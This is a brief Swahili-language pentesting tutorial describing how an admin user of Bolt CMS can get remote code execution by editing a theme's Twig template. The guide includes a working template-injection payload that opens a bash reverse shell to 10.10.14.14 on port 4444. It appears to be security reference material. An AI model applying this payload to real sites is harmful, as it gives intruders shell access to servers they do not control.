Bolt CMS
RCE
Baada ya kuingia kama admin (enda kwa /bot kufikia dirisha la kuingia), unaweza kupata RCE katika Bolt CMS:
Chagua
Configuration
->View Configuration
->Main Configuration
au nenda kwenye njia ya URL/bolt/file-edit/config?file=/bolt/config.yaml
Angalia thamani ya mandhari
Chagua
File management
->View & edit templates
Chagua msingi wa mandhari uliopatikana katika hatua ya awali (
base-2021
katika kesi hii) na chaguaindex.twig
Kwa upande wangu hii iko kwenye njia ya URL /bolt/file-edit/themes?file=/base-2021/index.twig
Weka mzigo wako katika faili hii kupitia uchapishaji wa templeti (Twig), kama:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
Na uhifadhi mabadiliko
Futa cache katika
Maintenance
->Clear the cache
Fikia tena ukurasa kama mtumiaji wa kawaida, na mzigo utapaswa kutekelezwa
Last updated